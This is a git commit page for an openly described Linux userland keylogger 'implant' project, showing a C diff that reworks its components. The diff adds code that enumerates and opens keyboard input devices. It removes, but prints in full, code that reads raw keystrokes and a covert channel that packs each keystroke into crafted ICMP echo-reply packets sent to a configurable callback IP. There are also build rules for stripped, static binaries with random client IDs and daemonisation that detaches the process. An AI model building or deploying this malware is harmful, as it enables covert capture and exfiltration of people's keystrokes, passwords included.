mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 732c08cadffa6e38aa4ad295bb99246d1c3ed10d
parent 740fcbb9dd6502b6257ffa5b8d9a63e442be2c23
Author: djnn <[email protected]>
Date: Sun, 16 Mar 2025 18:10:57 +0900

feat(implant): reworking implant a lil bit

Diffstat:
Mimplant/.gitignore | 1+
Mimplant/Makefile | 31+++++++++++++++++--------------
Mimplant/includes/implant.h | 48++++++++++++++++++++----------------------------
Mimplant/sources/daemon.c | 16+++-------------
Aimplant/sources/kbd.c | 109+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dimplant/sources/keyboard.c | 100-------------------------------------------------------------------------------
Dimplant/sources/logger.c | 188-------------------------------------------------------------------------------
Mimplant/sources/main.c | 27+++++++++++++++++++--------
Dimplant/sources/net.c | 227-------------------------------------------------------------------------------
Mimplant/sources/opt.c | 31+++++++++++--------------------
Mimplant/sources/utils.c | 125++++++++++++++++++++++++++++++++++++++++++++++++++++---------------------------
Dmazepa/.gitignore | 1-
Dmazepa/Cargo.lock | 260-------------------------------------------------------------------------------
Dmazepa/Cargo.toml | 9---------
Dmazepa/src/cfg.rs | 31-------------------------------
Dmazepa/src/main.rs | 44--------------------------------------------
Dserver/.clang-format | 16----------------
Dserver/Makefile | 76----------------------------------------------------------------------------
Dserver/includes/server.h | 127-------------------------------------------------------------------------------
Dserver/scripts/setup.sh | 17-----------------
Dserver/sources/csv.c | 46----------------------------------------------
Dserver/sources/keys.c | 52----------------------------------------------------
Dserver/sources/lexxer.c | 67-------------------------------------------------------------------
Dserver/sources/loop.c | 86-------------------------------------------------------------------------------
Dserver/sources/main.c | 23-----------------------
Dserver/sources/net.c | 137-------------------------------------------------------------------------------

26 files changed, 263 insertions(+), 1632 deletions(-)

diff --git a/implant/.gitignore b/implant/.gitignore
@@ -4,3 +4,4 @@ objects/
 *gcno
 *gcda
 *txt
+mazepa_*
diff --git a/implant/Makefile b/implant/Makefile
@@ -1,24 +1,25 @@
-########################
-#### VARIABLES #########
-########################
 
-NAME		 	= implant
+ifeq ($(MAKECMDGOALS), debug)
+	CLIENT_ID = DEBUG
+else
+	CLIENT_ID = $(shell echo $$RANDOM | md5sum | head -c 10)
+endif
+
+NAME		 	= mazepa_$(CLIENT_ID)
 CC			 	= clang
 RM			 	= rm -rf
 
 INCLUDES 	 	= -I./includes/
 LINK_FLAG    	=
 
-
 CFLAGS 			= -Wno-unused-command-line-argument -fPIC
-
 ifeq ($(MAKECMDGOALS), debug)
-	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security -Wno-visibility
+	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security -Wno-visibility -DCLIENTID=DEBUG -Wno-unsafe-buffer-usage
 else
 	CFLAGS 		 	+= -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s
-	CFLAGS 			+= -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s
+	CFLAGS 			+= -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s -Wno-unsafe-buffer-usage
 	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
-	CFLAGS 			+= -static -Wno-visibility
+	CFLAGS 			+= -static -Wno-visibility -DCLIENTID=$(CLIENT_ID)
 endif
 
 
@@ -30,11 +31,8 @@ OBJECT_DIR 		= ./objects
 vpath %$(PATTERN) $(SRC_DIR)
 
 MAIN		 	= main.c
-SRC 		 	= opt.c utils.c keyboard.c logger.c net.c daemon.c
+SRC 		 	= opt.c utils.c daemon.c kbd.c
 
-########################
-#### COMPILATION #######
-########################
 
 COMBINED		= $(SRC) $(MAIN)
 OBJ 	 		= $(patsubst %$(PATTERN), $(OBJECT_DIR)/%$(OBJPATTERN), $(COMBINED))
@@ -45,6 +43,11 @@ all: directories $(NAME) ## generate PROD binary (you might have to run make fcl
 	@strip -s $(NAME)
 	@echo "   [*** BINARY STRIP DONE ***]"
 
+.PHONY: help
+help:
+	@echo "\033[34mtargets:\033[0m"
+	@perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
+
 
 .PHONY: debug
 debug: directories $(NAME) ## generate DEBUG binary (you might have to run make fclean before)
@@ -70,7 +73,7 @@ clean:  ## removes object files
 
 .PHONY: fclean
 fclean: clean  ## removes all compilation artifacts
-	@$(RM) $(NAME)
+	@$(RM) $(NAME) mazepa_*
 	@echo "[*** CLEAN ***]"
 
 .PHONY: re  ## cleans everything and rebuild PROD binary
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -8,7 +8,6 @@
 #include <unistd.h>
 
 #define QUEUE_BUFFER_SIZE 1024
-
 #define STRING_BUFFER_SIZE 256
 
 /*
@@ -19,10 +18,10 @@ typedef struct keyboard_s keyboard_t;
 struct keyboard_s {
     int fd;
 
-    ssize_t nb_chars;
-    char buffer[QUEUE_BUFFER_SIZE];
+    uint64_t nb_chars;
+    uint8_t buffer[QUEUE_BUFFER_SIZE];
 
-    char name[STRING_BUFFER_SIZE];
+    int8_t name[STRING_BUFFER_SIZE];
     TAILQ_ENTRY(keyboard_s)
     devices;
 };
@@ -35,9 +34,9 @@ struct keyboard_s {
 typedef struct implant_s {
 
     /* remote connection settings */
-    unsigned short port;
-    char ip[STRING_BUFFER_SIZE];
-    int disable_net;
+    uint16_t port;
+    int8_t ip[STRING_BUFFER_SIZE];
+    uint8_t disable_net;
 
     /* keyboard settings (multiple if using dock or something) */
     TAILQ_HEAD(listhead, keyboard_s)
@@ -46,6 +45,9 @@ typedef struct implant_s {
     uint8_t using_caps_lock;
 } implant_t;
 
+/* will be overriden by make rules if debug mode not enabled */
+#define CLIENT_ID ("DEBUG")
+
 #define SUCCESSFUL 1
 #define ERROR 0
 
@@ -55,7 +57,7 @@ typedef struct implant_s {
 #ifndef DEBUG_LOG
 #define DEBUG_LOG(s, ...)                              \
     do {                                               \
-        char data[256] = {0};                          \
+        char data[512] = {0};                          \
         if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
             _exit(1);                                  \
         syslog(LOG_NOTICE, data);                      \
@@ -65,30 +67,20 @@ typedef struct implant_s {
 #define KEY_PRESSED 1
 #define KEY_RELEASED 0
 
-// net.c
-int retrieve_ip_address(char *ip[32]);
-int send_key_icmp(implant_t *, struct input_event);
-
 // opt.c
-int parse_user_input(int, char **, implant_t *);
+int run_lexer(int, char **, implant_t *);
 
-// logger.c
-void keylog(implant_t *);
-
-// keyboard.c
-void fetch_available_keyboards(implant_t *);
-
-// daemon.c
+// deamon.c
 void daemon_setup(void);
 
+// kbd.c
+uint8_t fetch_available_keyboards(implant_t *instance);
+
 // utils.c
-int read_file(char const *, char **);
-size_t
-get_array_size(uint8_t **);
-char *
-remove_repeating_whitespaces(char *);
-void free_tab(uint8_t **);
-char **
-tabgen(const char *, char);
+int8_t file_get_contents(int8_t const *, int8_t **);
+int8_t *remove_repeating_whitespaces(int8_t *);
+uint32_t array_get_size(int8_t **);
+void array_free(int8_t **);
+int8_t **array_from_string(const int8_t *, int8_t);
 
 #endif /* IMPLANT_H */
diff --git a/implant/sources/daemon.c b/implant/sources/daemon.c
@@ -1,4 +1,3 @@
-
 #include <signal.h>
 #include <stdio.h>
 #include <stdlib.h>
@@ -8,22 +7,15 @@
 #include "implant.h"
 
 void daemon_setup(void) {
-
     pid_t pid;
 
     /* Fork off the parent process */
     pid = fork();
 
-    if (pid < 0)
+    if (pid != 0 || setsid() < 0)
         exit(EXIT_FAILURE);
 
-    if (pid > 0)
-        exit(EXIT_SUCCESS);
-
-    if (setsid() < 0)
-        exit(EXIT_FAILURE);
-
-    /* FIXME: implement decent signal handler here */
+    /* FIXME(djnn): implement cleaner signal handler here */
     signal(SIGCHLD, SIG_IGN);
     signal(SIGHUP, SIG_IGN);
 
@@ -35,11 +27,9 @@ void daemon_setup(void) {
         exit(EXIT_SUCCESS);
 
     umask(0);
-    chdir("/tmp");
-
     for (long x = sysconf(_SC_OPEN_MAX); x >= 0; x--) {
         close((int)x);
     }
 
-    openlog("mazepa", LOG_PID, LOG_DAEMON);
+    openlog(CLIENT_ID, LOG_PID, LOG_DAEMON);
 }
diff --git a/implant/sources/kbd.c b/implant/sources/kbd.c
@@ -0,0 +1,109 @@
+/*
+   keyboard handling & locale support
+
+   input devices usually live in /dev/input/
+
+   you can identify the in the by-path subdirectory, which maps each
+   device name to a symlink
+
+   here, we will return set an array of file-descriptor for each available
+   keyboard on the machine, it should be appended with a -1 that should serve
+   as a NULL value
+*/
+
+#include "implant.h"
+
+#include <dirent.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/queue.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+static int
+is_kbd(const struct dirent *f) {
+    size_t len = 0;
+
+    if (NULL == f)
+        return 0;
+
+    len = strlen(f->d_name);
+    if (len < 3)
+        return 0;
+
+    return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' &&
+           f->d_name[len - 1] == 'd';
+}
+
+uint8_t fetch_available_keyboards(implant_t *instance) {
+    /* FIXME(djnn): decrypt strings at runtime */
+
+    char rpath[2048] = {0};
+    struct dirent **char_devices = NULL;
+    int possible_paths = 0;
+
+    if (!instance) {
+
+#ifdef DEBUG
+        DEBUG_LOG("[!] NULL ptr for instance struct\n");
+#endif
+        return ERROR;
+    }
+
+    possible_paths = scandir("/dev/input/by-path/", &char_devices, &is_kbd, &alphasort);
+    if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
+
+#ifdef DEBUG
+        DEBUG_LOG("could not find possible keyboard paths\n");
+#endif
+
+        return ERROR;
+    }
+
+    /* prepare TAILQ  */
+    TAILQ_INIT(&instance->kbd);
+    for (int ctr = -1; ++ctr < possible_paths;) {
+        if (!realpath(char_devices[ctr]->d_name, rpath)) {
+
+#ifdef DEBUG
+            DEBUG_LOG("[!] Could not run realpath(%s): %s\n", char_devices[ctr]->d_name, strerror(errno));
+#endif
+
+            continue;
+        }
+
+        keyboard_t *kbd = malloc(sizeof(keyboard_t));
+        if (!kbd) {
+
+#ifdef DEBUG
+            DEBUG_LOG("[!] allocate memory for keyboard_t\n");
+#endif
+
+            continue;
+        }
+
+        kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
+        if (kbd->fd < 0) {
+
+#ifdef DEBUG
+            DEBUG_LOG("[!] Could not open %s: %s\n", rpath, strerror(errno));
+#endif
+
+            continue;
+        }
+
+        /* FIXME(djnn): this does not spark joy */
+        memset(kbd->name, 0, STRING_BUFFER_SIZE);
+        strncpy((char *)kbd->name, rpath, (STRING_BUFFER_SIZE - 1));
+        TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
+    }
+
+    array_free((int8_t **)char_devices);
+    return TAILQ_EMPTY(&instance->kbd) ? ERROR : SUCCESSFUL;
+}
diff --git a/implant/sources/keyboard.c b/implant/sources/keyboard.c
@@ -1,100 +0,0 @@
-
-/*
-    keyboard handling and local support.
-*/
-
-#include "implant.h"
-
-#include <dirent.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <stddef.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/queue.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-static int
-is_kbd(const struct dirent *f) {
-    size_t len = strlen(f->d_name);
-
-    if (len < 3)
-        return 0;
-
-    return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' &&
-           f->d_name[len - 1] == 'd';
-}
-
-void fetch_available_keyboards(implant_t *instance) {
-
-    /*
-        input devices usually live in /dev/input/
-
-        you can identify the in the by-path subdirectory, which maps each
-        device name to a symlink
-
-        here, we will return set an array of file-descriptor for each available
-        keyboard on the machine, it should be appended with a -1 that should serve
-        as a NULL value
-    */
-
-    struct dirent **char_devices = NULL;
-    int possible_paths =
-        scandir("/dev/input/by-path/", &char_devices, &is_kbd, &alphasort);
-
-    if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
-
-#ifdef DEBUG
-        DEBUG_LOG("could not find possible keyboard paths");
-#endif
-
-        return;
-    }
-
-    /* prepare TAILQ  */
-    TAILQ_INIT(&instance->kbd);
-
-    char rpath[2048] = {0};
-    for (int ctr = -1; ++ctr < possible_paths;) {
-        if (!realpath(char_devices[ctr]->d_name, rpath)) {
-
-#ifdef DEBUG
-            DEBUG_LOG("[!] Could not run realpath(%s): %s", char_devices[ctr]->d_name, strerror(errno));
-#endif
-
-            continue;
-        }
-
-        keyboard_t *kbd = malloc(sizeof(keyboard_t));
-        if (!kbd) {
-
-#ifdef DEBUG
-            DEBUG_LOG("[!] allocate memory for keyboard_t");
-#endif
-
-            continue;
-        }
-
-        kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
-        if (kbd->fd < 0) {
-
-#ifdef DEBUG
-            DEBUG_LOG("[!] Could not open %s: %s", rpath, strerror(errno));
-#endif
-
-            continue;
-        }
-
-        memset(kbd->name, 0, 64);
-        strncpy(kbd->name, rpath, 63);
-        TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
-    }
-
-    for (int ctr = -1; ++ctr < possible_paths;)
-        free(char_devices[ctr]);
-    free(char_devices);
-}
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -1,188 +0,0 @@
-
-#include <alloca.h>
-#include <bits/types/struct_timeval.h>
-#include <errno.h>
-#include <linux/input-event-codes.h>
-#include <linux/input.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/queue.h>
-#include <sys/select.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include "implant.h"
-
-static int
-get_highest_fd(const implant_t *instance) {
-    int highest_fd = -1;
-
-    keyboard_t *it = NULL;
-    TAILQ_FOREACH(it, &instance->kbd, devices) {
-        highest_fd = (it->fd > highest_fd) ? it->fd : highest_fd;
-    }
-    return highest_fd;
-}
-
-static int
-log_keyboard(const int fd, struct input_event *evt, implant_t *implant) {
-    static bool shift_pressed = false;
-
-    /*
-        read events out of /dev/input/by-path/${**}-kbd
-
-    TODO:
-        for now, we only read one, but we can attempt to read them in
-        bulk of 6-10 once bufferizing messages is implemented
-    */
-
-    ssize_t bytes_read = read(fd, evt, sizeof(struct input_event));
-#ifdef DEBUG
-    DEBUG_LOG("[!] read %ld bytes", bytes_read);
-#endif
-
-    if (bytes_read != sizeof(struct input_event)) {
-
-#ifdef DEBUG
-        DEBUG_LOG("[!] read() error: %s", strerror(errno));
-#endif
-
-        return ERROR;
-    }
-
-    /* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not.
-     */
-    if (evt->type == EV_KEY && evt->value == KEY_RELEASED) {
-        if (evt->code == KEY_LEFTSHIFT || evt->code == KEY_RIGHTSHIFT) {
-            shift_pressed = false;
-        }
-    }
-
-    if (evt->type == EV_KEY && evt->value == KEY_PRESSED) {
-        if (evt->code == KEY_LEFTSHIFT || evt->code == KEY_RIGHTSHIFT) {
-            shift_pressed = true;
-        }
-    }
-
-    implant->using_caps_lock = (uint8_t)shift_pressed;
-    return SUCCESSFUL;
-}
-
-/*
-    main loop to listen for keys and stuff
-*/
-void keylog(implant_t *instance) {
-
-    /* first set up select etc */
-    int highest_fd = get_highest_fd(instance);
-    fd_set rd, err;
-    int status = 0;
-
-    if (highest_fd < 0) {
-
-#ifdef DEBUG
-        DEBUG_LOG("[!] no keyboard found. exiting");
-#endif
-
-        return;
-    }
-    /* run the damn loop */
-    while (0x520) {
-
-        /* setup FD-sets */
-        keyboard_t *it = NULL;
-        TAILQ_FOREACH(it, &instance->kbd, devices) {
-            if (!it) {
-
-#ifdef DEBUG
-        DEBUG_LOG("[!] instance->kbd has reached a NULL pointer");
-#endif
-                continue;
-            }
-
-            FD_SET(it->fd, &rd);
-            FD_SET(it->fd, &err);
-        }
-
-        /*
-            check if a key has been pressed
-
-            i really dont like this method because it means that everytime you
-            press a key, a least 2 syscalls are ran (select & read)
-
-            since we are buffering the keys anyway, why not poll for new events
-            every n seconds & then call read() ? is there a risk of missing keys?
-           tbd
-
-            this select method works well for servers, but not really to poll new
-           events
-        */
-#ifdef DEBUG
-        struct timeval timeout = {0, 1};
-        status = select(highest_fd + 1, &rd, NULL, &err, &timeout);
-#else
-        status = select(highest_fd + 1, &rd, NULL, &err, NULL);
-#endif
-
-        if (status < 0) {
-
-#ifdef DEBUG
-            DEBUG_LOG("[!] select error: %s", strerror(errno));
-#endif
-
-            goto LOG_FUNCTION_CLEANUP;
-        }
-
-        /* check file descriptors (first for error, then for new input) */
-        it = NULL;
-        TAILQ_FOREACH(it, &instance->kbd, devices) {
-            if (FD_ISSET(it->fd, &err)) {
-
-#ifdef DEBUG
-                DEBUG_LOG("[!] Error on file descriptor %d", it->fd);
-#endif
-
-                /* keyboard has been un-plugged, let's continue */
-                FD_CLR(it->fd, &rd);
-                FD_CLR(it->fd, &err);
-
-                close(it->fd);
-
-                /* making sure we dont have a memory leak here */
-                void *tmp_ptr = &instance->kbd;
-                TAILQ_REMOVE(&instance->kbd, it, devices);
-
-                free(tmp_ptr);
-                continue;
-            }
-
-            /* checking for new input here */
-            if (FD_ISSET(it->fd, &rd)) {
-
-                struct input_event evt = {0};
-                /*
-                    should we really kill the run here or can we recover this ?
-                    i need to run some tests before making a decision.
-                */
-                if (ERROR == log_keyboard(it->fd, &evt, instance)) {
-                    goto LOG_FUNCTION_CLEANUP;
-                }
-
-                if (ERROR == send_key_icmp(instance, evt)) {
-                    goto LOG_FUNCTION_CLEANUP;
-                }
-            }
-        }
-    }
-
-LOG_FUNCTION_CLEANUP:
-
-    /* closing file descriptors if instance still exists */
-    if (instance != NULL) {
-        keyboard_t *it = NULL;
-        TAILQ_FOREACH(it, &instance->kbd, devices) {
-            close(it->fd);
-        }
-    }
-}
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -4,22 +4,33 @@
 #include <unistd.h>
 #include "implant.h"
 
-int main(int ac, char **av, __attribute__((unused)) char **envp) {
+int main(
+#ifdef DEBUG
+    int ac,
+    char **av,
+#else
+    __attribute__((unused)) int ac,
+    __attribute__((unused)) char **av,
+#endif
+    __attribute__((unused)) char **envp) {
 
     implant_t instance = {
-        .ip = {0}, .port = 80, /* ip can be a domain name */
+        .ip = {"10.0.2.2"}, .port = 80, /* ip can be a domain name */
     };
 
-    if (ERROR == parse_user_input(ac, av, &instance))
+#ifdef DEBUG
+    if (ERROR == run_lexer(ac, av, &instance))
         return 1;
 
-    daemon_setup();
+    DEBUG_LOG("[*] settings:\n\tIP:%s\n\tPort:%d", instance.ip, instance.port);
+#else
+    /* TODO(djnn): instance_load_from_memory(&instance); */
 
-#ifdef DEBUG
-    DEBUG_LOG("[*] Implant settings:\n\tIP:%s\n\tPort:%d", instance.ip, instance.port);
+    daemon_setup();
 #endif
 
-    fetch_available_keyboards(&instance);
-    keylog(&instance);
+    if (ERROR == fetch_available_keyboards(&instance))
+        return 1;
+
     return 0;
 }
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -1,227 +0,0 @@
-
-#include <alloca.h>
-#include <linux/input.h>
-#include <stdlib.h>
-
-#include <arpa/inet.h>
-#include <net/if.h>
-#include <netinet/in.h>
-#include <netinet/ip.h>
-#include <netinet/ip_icmp.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/socket.h>
-#include <unistd.h>
-#include "implant.h"
-
-int retrieve_ip_address(char *ip[32]) {
-
-    /* open UDP socket to resolver google DNS, retrieve IP address in resp */
-
-    const char *resolver = "8.8.8.8";
-    const uint16_t dns_port = 53;
-
-    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
-    if (sockfd < 0) {
-#ifdef DEBUG
-        DEBUG_LOG("[+] could not load UDP socket in retrieve_ip_address()\n");
-        perror("socket");
-#endif
-
-    cleanup_close_socket:
-        close(sockfd);
-        return 0;
-    }
-
-    struct sockaddr_in serv = {0};
-    serv.sin_family = AF_INET;
-    serv.sin_addr.s_addr = inet_addr(resolver);
-    serv.sin_port = htons(dns_port);
-
-    if (-1 == connect(sockfd, (const struct sockaddr *)&serv, sizeof(serv))) {
-#ifdef DEBUG
-        DEBUG_LOG("[+] could not connect to %s (port: %d)\n", resolver, dns_port);
-        perror("connect");
-#endif
-
-        goto cleanup_close_socket;
-    }
-
-    struct sockaddr_in name;
-    socklen_t namelen = sizeof(name);
-    if (-1 == getsockname(sockfd, (struct sockaddr *)&name, &namelen)) {
-#ifdef DEBUG
-        DEBUG_LOG("[+] could not get socket name\n");
-        perror("getsockname");
-#endif
-
-        goto cleanup_close_socket;
-    }
-
-    const char *p = inet_ntop(AF_INET, &name.sin_addr, *ip, 32);
-    if (!p) {
-
-        goto cleanup_close_socket;
-    }
-
-    close(sockfd);
-    return 1;
-}
-
-static uint16_t icmp_checksum(uint16_t *addr, int len) {
-    int nleft = len;
-    uint32_t sum = 0;
-    uint16_t *w = addr;
-    uint16_t answer = 0;
-
-    // Adding 16 bits sequentially in sum
-    while (nleft > 1) {
-        sum += *w;
-        nleft -= 2;
-        w++;
-    }
-
-    // If an odd byte is left
-    if (nleft == 1) {
-        *(unsigned char *)(&answer) = *(unsigned char *)w;
-        sum += answer;
-    }
-
-    sum = (sum >> 16) + (sum & 0xffff);
-    sum += (sum >> 16);
-    answer = ~sum;
-
-    return answer;
-}
-
-/* Layout of the DATA packet is following
- * [ Locale (length: 31), using_cap_lock, struct input_event dump ]
- */
-int send_key_icmp(implant_t *implant, struct input_event event) {
-
-    char payload[sizeof(struct input_event) + 32] = {0};
-
-    /* for the userland implant, we will always assume the locale is
-     * US, because I haven't yet found a way to hook evdev driver from here
-     * and recover translated keys. Alternative would be to use something like
-     * libxkbcommon but this means we cannot compile statically, which is something
-     * that i want.
-     *
-     * If you want to have translated keys, for now you must use the kernel
-     * module in the kernel/ directory. it will respect the same protocol
-     * and be able to retrieve the information that you want.
-     */
-    strncpy(payload, "us", 2);
-    payload[31] = implant->using_caps_lock;
-    memccpy(payload + 32, &event, 0, sizeof(struct input_event));
-
-    /* set up ICMP socket */
-    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
-    if (sockfd < 0) {
-#ifdef DEBUG
-        DEBUG_LOG("[+] could not load ICMP socket\n");
-        perror("socket");
-#endif
-
-    cleanup_error:
-        close(sockfd);
-        return ERROR;
-    }
-
-    int enabled = 1;
-    if (setsockopt(sockfd, IPPROTO_IP,
-                   IP_HDRINCL,
-                   (const char *)&enabled,
-                   sizeof(enabled)) == -1) {
-#ifdef DEBUG
-        DEBUG_LOG("[+] could not set ICMP socket options\n");
-        perror("setsockopt");
-#endif
-
-        goto cleanup_error;
-    }
-
-    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
-                   &enabled,
-                   sizeof(int)) < 0) {
-#ifdef DEBUG
-        DEBUG_LOG("[+] could not set ICMP socket options\n");
-        perror("setsockopt");
-#endif
-
-        goto cleanup_error;
-    }
-
-    /* set packet metadata */
-
-    /* NOTE(djnn): this will be the local IP address, dont rely on this on
-       the dashboard side (use whatever your redirector / firewall gives u) */
-    char *local_ip = alloca(32);
-    if (!retrieve_ip_address((char **)&local_ip)) {
-#ifdef DEBUG
-        DEBUG_LOG("[+] could not get public ip address\n");
-#endif
-
-        goto cleanup_error;
-    }
-
-    int packet_type = ICMP_ECHOREPLY;
-
-    struct in_addr src_addr = {0};
-    struct in_addr dest_addr = {0};
-
-    inet_pton(AF_INET, local_ip, &src_addr);
-    inet_pton(AF_INET, implant->ip, &dest_addr);
-
-    /* this will be what we actually send (basically just payload + a bunch of things) */
-    char *full_packet = NULL;
-    int packetsz = sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(payload);
-
-    full_packet = calloc(packetsz, sizeof(uint8_t));
-    if (!full_packet) {
-#ifdef DEBUG
-        DEBUG_LOG("[+] send_icmp: could not allocate heap memory!\n");
-        perror("calloc");
-#endif
-
-        goto cleanup_error;
-    }
-
-    struct iphdr *ip = (struct iphdr *)full_packet;
-    struct icmphdr *icmp = (struct icmphdr *)(full_packet + sizeof(struct iphdr));
-    char *icmp_payload = (char *)(full_packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
-
-    /* configuring the headers */
-
-    ip->version = 4;
-    ip->ihl = 5;
-    ip->tos = 0;
-    ip->id = rand();
-    ip->frag_off = 0;
-    ip->ttl = 255;
-    ip->protocol = IPPROTO_ICMP;
-    ip->tot_len = htons(packetsz);
-    ip->saddr = src_addr.s_addr;
-    ip->daddr = dest_addr.s_addr;
-
-    icmp->code = 0;
-    icmp->un.echo.sequence = rand();
-    icmp->un.echo.id = rand();
-    icmp->checksum = 0;
-
-    memcpy(icmp_payload, payload, sizeof(payload));
-
-    icmp->type = ICMP_ECHOREPLY;
-    icmp->checksum = icmp_checksum((unsigned short *)icmp, sizeof(struct icmphdr) + sizeof(payload));
-
-    struct sockaddr_in servaddr;
-    memset(&servaddr, 0, sizeof(struct sockaddr_in));
-    servaddr.sin_family = AF_INET;
-    servaddr.sin_addr.s_addr = dest_addr.s_addr;
-
-    sendto(sockfd, full_packet, packetsz, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));
-    free(full_packet);
-    return SUCCESSFUL;
-}
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -10,52 +10,43 @@
 
 #include "implant.h"
 
-static void
-help_mode(char const *binary_path) {
+static void help_mode(void) {
 #ifdef DEBUG
-    printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback "
+    printf("mazepa_%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback "
            "Port\n\t-n\tDisable network connection (for debug)\n",
-           binary_path);
-#else
-    (void)binary_path;
+           CLIENT_ID);
 #endif
 }
 
-int parse_user_input(int ac, char **av, implant_t *settings) {
+int run_lexer(int ac, char **av, implant_t *settings) {
     int c = 0;
 
-#ifdef DEBUG
     char const *options = "i:p:hn";
-#else
-    char const *options = "i:p:h";
-#endif
 
     do {
         c = getopt(ac, av, options);
         switch (c) {
 
-#ifdef DEBUG
         case 'n':
             settings->disable_net = 1;
             break;
-#endif
+
         case 'i':
             strncpy((char *)&settings->ip, optarg, 255);
             break;
 
         case 'p':
-            settings->port = (unsigned short)strtoul(optarg, NULL, 0);
+            settings->port = (uint16_t)strtoul(optarg, NULL, 0);
             break;
 
-        case 'h':
-            help_mode(av[0]);
-            exit(0);
-            /* will exit on help_mode() anyway */
-
         case '?':
-            help_mode(av[0]);
+            help_mode();
             return ERROR;
 
+        case 'h':
+            help_mode();
+            exit(0);
+
         default:
             break;
         }
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -1,7 +1,21 @@
 
-/*
-    random useful functions
-*/
+/**
+ * This file contains a collection of utility functions for various tasks.
+ *
+ * `file_get_contents`: Reads a file and returns its contents as a null-terminated string.
+ * The file path is passed as the first argument, and a pointer to the file contents is returned as the second argument.
+ *
+ * `remove_repeating_whitespaces`: Removes consecutive whitespace characters from a string and returns the modified string.
+ *
+ * `array_get_size`: Returns the size of a dynamically allocated array of int8_t values.
+ * The array is passed as a pointer to the first element.
+ *
+ * `array_free`: Frees a dynamically allocated array of int8_t values.
+ * The array is passed as a pointer to the first element.
+ *
+ * `array_from_string`: Generates a table of strings from a given prefix and suffix.
+ * The prefix and suffix are passed as strings, and the function returns a dynamically allocated array of strings.
+ */
 
 #include "implant.h"
 
@@ -17,71 +31,100 @@
 #include <sys/types.h>
 #include <unistd.h>
 
-int read_file(char const *path, char **buffer) {
+int8_t file_get_contents(int8_t const *path, int8_t **buffer) {
+    struct stat st = {0};
+    int fd = 0;
+    int64_t filesize = 0;
+    int64_t bytes_read = 0;
 
-    int fd = open(path, O_RDONLY);
+    if (NULL == path) {
+#ifdef DEBUG
+        DEBUG_LOG("[%s] %s is NULL\n", CLIENT_ID, path);
+#endif
+        return ERROR;
+    }
+
+    fd = open((const char *)path, O_RDONLY);
     if (0 > fd) {
 #ifdef DEBUG
-        DEBUG_LOG("Could not open %s: %s", path, strerror(errno));
+        DEBUG_LOG("[%s] Could not open %s: %s\n", CLIENT_ID, path, strerror(errno));
 #endif
         return ERROR;
     }
 
     /* could use fseek but stat is posix so let's use that */
-    struct stat st;
     if (0 > fstat(fd, &st)) {
 #ifdef DEBUG
-        DEBUG_LOG("Could not call fstat on %s: %s", path, strerror(errno));
+        DEBUG_LOG("[%s] Could not call fstat on %s: %s\n", CLIENT_ID, path, strerror(errno));
 #endif
         return ERROR;
     }
 
-    unsigned long filesize = (unsigned long)st.st_size;
+    filesize = (int64_t)st.st_size;
+
+    if (!buffer) {
+#ifdef DEBUG
+        DEBUG_LOG("[%s] file_get_contents: buffer addr is NULL\n", CLIENT_ID);
+#endif
+        return ERROR;
+    }
 
-    *buffer = malloc(sizeof(char) * (filesize + 1));
+    *buffer = malloc(sizeof(int8_t) * (uint64_t)(filesize + 1));
     if (!buffer || !(*buffer)) {
 #ifdef DEBUG
-        DEBUG_LOG("Could not allocate memory for %s: %s", path, strerror(errno));
+        DEBUG_LOG("[%s] file_get_contents: could not allocate memory for %s: %s", CLIENT_ID, path, strerror(errno));
 #endif
         return ERROR;
     }
 
-    ssize_t bytes = read(fd, *buffer, filesize);
-    if (bytes != st.st_size) {
+    /* FIXME(djnn):
+
+       read file by chunks, append to circular-buffer data structure.
